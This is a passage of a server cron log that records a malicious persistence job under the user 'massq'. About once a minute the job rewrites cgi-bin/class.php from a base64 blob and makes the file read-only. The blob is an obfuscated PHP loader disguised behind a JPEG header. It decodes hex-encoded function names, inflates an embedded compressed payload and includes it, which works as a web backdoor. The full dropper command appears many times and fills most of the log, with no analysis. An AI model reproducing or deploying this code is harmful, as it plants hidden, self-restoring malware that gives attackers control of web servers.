R0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:37:01 server CROND[18592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:38:01 server CROND[18637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:39:01 server CROND[18786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:39:01 server CROND[18787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 10:40:01 server CROND[18853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:40:01 server CROND[18854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:40:01 server CROND[18855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:40:01 server CROND[18852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:41:01 server CROND[18978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:42:01 server CROND[19032]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 10:42:01 server CROND[19033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:43:01 server CROND[19090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:44:01 server CROND[19246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:45:01 server CROND[19316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:45:01 server CROND[19317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:45:01 server CROND[19318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:46:01 server CROND[19434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:47:01 server CROND[19499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:48:01 server CROND[19561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:49:01 server CROND[19630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:50:01 server CROND[19796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 10:50:01 server CROND[19797]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:50:01 server CROND[19802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:50:01 server CROND[19805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 